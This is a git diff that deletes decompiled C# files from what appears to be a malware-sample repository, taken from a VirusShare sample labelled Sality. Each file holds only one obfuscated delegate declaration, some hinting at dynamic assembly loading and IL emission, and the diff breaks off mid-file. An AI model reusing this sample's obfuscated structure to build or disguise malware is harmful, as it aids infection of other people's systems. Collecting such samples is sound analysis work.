a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008C_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008C_0004.cs deleted file mode 100644 index 3a80303e..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008C_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Œ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate PlatformID \u008C\u0004([In] object obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008C_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008C_0005.cs deleted file mode 100644 index 1c51d714..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008C_0005.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Œ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate void \u008C\u0005([In] object obj0, [In] UnhandledExceptionEventHandler obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008D_0002.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008D_0002.cs deleted file mode 100644 index 56ec6dba..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008D_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate object \u008D\u0002([In] Type obj0, [In] bool obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008D_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008D_0003.cs deleted file mode 100644 index 5589e075..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008D_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; -using System.Windows.Forms; - -internal delegate void \u008D\u0003([In] object obj0, [In] ControlStyles obj1, [In] bool obj2); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008D_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008D_0004.cs deleted file mode 100644 index 52a4be68..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008D_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate void \u008D\u0004([In] object obj0, [In] string obj1, [In] object obj2, [In] Type obj3); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008D_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008D_0005.cs deleted file mode 100644 index 109e1654..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008D_0005.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate int \u008D\u0005([In] string obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008E_0002.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008E_0002.cs deleted file mode 100644 index 3c59aea7..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008E_0002.cs +++ /dev/null @@ -1,16 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Ž -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Drawing; -using System.Runtime.InteropServices; - -internal delegate void \u008E\u0002( - [In] object obj0, - [In] Pen obj1, - [In] int obj2, - [In] int obj3, - [In] int obj4, - [In] int obj5); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008E_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008E_0003.cs deleted file mode 100644 index 8b3ab310..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008E_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Ž -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate string \u008E\u0003([In] object obj0, [In] string obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008E_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008E_0004.cs deleted file mode 100644 index a0a3716c..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008E_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Ž -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; - -internal delegate Guid \u008E\u0004(); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008E_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008E_0005.cs deleted file mode 100644 index b7b3b081..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008E_0005.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Ž -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate int \u008E\u0005([In] float obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008F_0002.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008F_0002.cs deleted file mode 100644 index 1738d3c0..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008F_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate Guid \u008F\u0002([In] object obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008F_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008F_0003.cs deleted file mode 100644 index 9480684d..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008F_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate byte \u008F\u0003([In] int obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008F_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008F_0004.cs deleted file mode 100644 index 1097585f..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008F_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Drawing; -using System.Runtime.InteropServices; - -internal delegate void \u008F\u0004([In] object obj0, [In] Icon obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008F_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008F_0005.cs deleted file mode 100644 index 1dfbd61b..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008F_0005.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate void \u008F\u0005([In] object obj0, [In] IntPtr obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0090_0002.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0090_0002.cs deleted file mode 100644 index 5854ce24..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0090_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate object \u0090\u0002([In] object obj0, [In] Delegate obj1, [In] object[] obj2); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0090_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0090_0003.cs deleted file mode 100644 index 844b27b1..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0090_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Reflection.Emit; -using System.Runtime.InteropServices; - -internal delegate void \u0090\u0003([In] object obj0, [In] OpCode obj1, [In] int obj2); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0090_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0090_0004.cs deleted file mode 100644 index 67eed98c..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0090_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate Assembly \u0090\u0004([In] string obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0090_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0090_0005.cs deleted file mode 100644 index 88abe275..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0090_0005.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate string \u0090\u0005([In] string obj0, [In] object obj1, [In] object obj2); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0091_0002.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0091_0002.cs deleted file mode 100644 index 1ee9b51e..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0091_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‘ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate byte[] \u0091\u0002([In] object obj0, [In] byte[] obj1, [In] int obj2, [In] int obj3); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0091_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0091_0003.cs deleted file mode 100644 index 52cab96e..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0091_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‘ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate Type[] \u0091\u0003([In] object obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0091_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0091_0004.cs deleted file mode 100644 index c495d630..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0091_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‘ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate char \u0091\u0004([In] int obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0091_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0091_0005.cs deleted file mode 100644 index 0f5c887e..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0091_0005.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‘ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate string \u0091\u0005([In] string obj0, [In] string obj1, [In] string obj2); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0092_0002.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0092_0002.cs deleted file mode 100644 index df292549..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0092_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ’ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate object \u0092\u0002([In] object obj0, [In] string obj1, [In] Type obj2); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0092_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0092_0003.cs deleted file mode 100644 index e472e4ce..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0092_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ’ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate Type \u0092\u0003([In] object obj0, [In] string obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0092_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0092_0004.cs deleted file mode 100644 index 3257cfd9..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0092_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ’ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: 